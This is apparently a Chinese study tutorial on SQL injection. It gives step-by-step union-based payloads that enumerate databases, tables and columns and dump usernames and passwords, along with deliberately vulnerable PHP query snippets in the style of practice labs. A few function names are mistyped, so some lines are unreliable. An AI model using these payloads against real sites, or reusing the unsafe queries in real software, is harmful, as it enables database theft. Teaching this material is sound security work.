安全的本质就是开发,又要懂安全又要懂开发,学安全就是开发的一些漏洞,两者相辅相成
一、SQL
注入
原理:由于WEB应用程序对用户输入的数据合法性判断不严格导致。
攻击者利用现有应用程序,将恶意的SQL
命令注入到程序后台并在数据库引擎执行的能力。
攻击者把SQL
命令语句作为输入被服务器SQL
解释器正确解析执行,数据库把查询到的结果返回给服务器,然后呈现给攻击者,攻击者由此获得数据库内的数据信息。
1.恶意请求
攻击者在正常查询请求后附加SQL语句请求至服务器(test.php?id=1 and 1=1)
,WEB服务器解析并传给数据库处理,数据库服务器并不区分正常查询和附加查询,数据库服务器执行查询结果返回给WEB服务器,WEB服务器解析并将结果显示给用户,攻击者成功获得额外的查询结果。
危害:1.获取敏感数据:获取网站管理员账号、密码等;
2.绕过登录验证:使用万能密码登录网站后台等;
3.执行系统命令:远程执行命令。
二、SQL注入演示
1.判断SQL注入:单引号报错,双引号不报错
2.判断注入类型:
数字型:
1 and 1=1
1 and 1=2
字符型
1' and '1'='1
1' and 1=1 #
1' and 1=2 #
3.获取字段数:
1' order by 3--+ 正常
1' order by 4--+ 报错
4.获取显示位:
union select
:联合查询,连接前后两条语句,合并查询的作用
5.获取数据库信息:
version()、user()、@@daradir、databases()
7.获取所有数据库
-1' union select 1,group_concat(schema_name),
3 from information_schema.schemata --+
concat
用法:
1.功能:将多个字符串连接成一个字符串
2.语法:concat(str1,str2,....)
group_concat
用法:
1.功能:将group by
产生的同一个分组中的值连接起来,返回一个字符串结果。
2.语法:group_concat([distinct])要连接的字段[order by 排序字段 asc/desc][separator’分隔符’]
8.获取数据库表
-1' union select 1,group_concat(table_name),
3 from information_schema.tables wheretable_schema=database() --+
9.获取表中所有字段
-1' union select 1,group_concat(column_name),
3 from information_schema.columns where
table_name='user' and table_schema=databases()--+
10.获取数据
-1' union select 1,username,password from users
limit 0,1--+
实战指导书:
GET - 基于错误 - 单引号 - 字符型:
关键代码:$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
构造语句:?id=1' union select * from users --+
GET - 基于错误 - 数字型:
关键代码:$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
构造语句:?id=1 union select * from users --+
GET - 基于错误 - 单引号变形 - 字符型:
关键代码:$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
构造语句:1') union select * from users --+
GET - 基于错误 - 双引号 - 字符型:
关键代码:$id ='"' .$id. '"';
$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
构造语句:") union select * from users --+
总结:在于闭合sql
语句